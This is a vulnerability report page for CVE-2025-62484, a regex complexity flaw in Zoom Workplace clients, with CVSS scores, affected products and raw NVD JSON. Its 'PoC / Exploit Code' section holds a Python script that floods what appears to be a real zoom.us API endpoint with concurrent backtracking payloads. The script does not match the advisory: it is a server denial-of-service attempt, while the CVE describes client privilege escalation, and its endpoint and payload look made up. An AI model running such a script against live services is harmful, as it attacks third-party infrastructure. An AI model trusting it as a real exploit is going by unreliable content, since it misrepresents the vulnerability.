Security Vulnerability Report
中文
CVE-2025-62484 CVSS 8.1 HIGH

CVE-2025-62484

Published: 2025-11-13 16:15:53
Last Modified: 2025-11-19 17:24:03

Description

Inefficient regular expression complexity in certain Zoom Workplace Clients before version 6.5.10 may allow an unauthenticated user to conduct an escalation of privilege via network access.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:zoom:meeting_software_development_kit:*:*:*:*:*:android:*:* - VULNERABLE
cpe:2.3:a:zoom:meeting_software_development_kit:*:*:*:*:*:iphone_os:*:* - VULNERABLE
cpe:2.3:a:zoom:workplace:*:*:*:*:*:android:*:* - VULNERABLE
cpe:2.3:a:zoom:workplace:*:*:*:*:*:iphone_os:*:* - VULNERABLE
Zoom Workplace Clients < 6.5.10
Zoom Workplace Android < 6.5.10
Zoom Workplace iOS < 6.5.10
Zoom Workplace Linux < 6.5.10
Zoom Workplace macOS < 6.5.10
Zoom Workplace Windows < 6.5.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62484 PoC - Zoom Workplace Regex DoS # This PoC demonstrates the regex complexity issue in Zoom Workplace Clients import requests import time import concurrent.futures def create_malicious_payload(): """ Generate payload that triggers catastrophic backtracking Pattern like: (a+)+$ or similar nested quantifiers """ # Construct input that causes exponential backtracking base_pattern = "a" * 25 + "!" # Long run of 'a' followed by non-matching char return base_pattern def send_exploit(target_url, payload): """ Send malicious payload to Zoom endpoint """ headers = { 'User-Agent': 'Zoom-Workplace-Client/6.5.0', 'Content-Type': 'application/json', 'X-Client-Version': '6.5.0' } try: response = requests.post( target_url, json={'data': payload}, headers=headers, timeout=30 ) return response.status_code except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None def main(): target = "https://zoom.us/api/v2/meetings/parse_invitation" payload = create_malicious_payload() print(f"[*] CVE-2025-62484 PoC - Zoom Regex DoS") print(f"[*] Target: {target}") print(f"[*] Payload length: {len(payload)}") # Send multiple requests concurrently to maximize impact with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(send_exploit, target, payload) for _ in range(5)] for future in concurrent.futures.as_completed(futures): result = future.result() print(f"[*] Request completed with status: {result}") print("[*] Exploit sent. Check Zoom client responsiveness.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62484", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:53.200", "lastModified": "2025-11-19T17:24:03.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inefficient regular expression complexity in certain Zoom Workplace Clients before version 6.5.10 may allow an unauthenticated user to conduct an escalation of privilege via network access."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1333"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zoom:meeting_software_development_kit:*:*:*:*:*:android:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "98DD5270-A4AE-4E08-A2E1-5A7DF2E76F36"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:meeting_software_development_kit:*:*:*:*:*:iphone_os:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "20C73D4A-B93C-4CD8-B753-0B1CA49DD23F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:workplace:*:*:*:*:*:android:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "019D6D44-FAB4-47EC-9A82-CDCA374293F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:workplace:*:*:*:*:*:iphone_os:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "0E1FD0E8-796C-4F88-9321-59C5B8B359D4"}]}]}], "references": [{"url": "https://www.zoom.com/en/trust/security-bulletin/zsb-25048", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}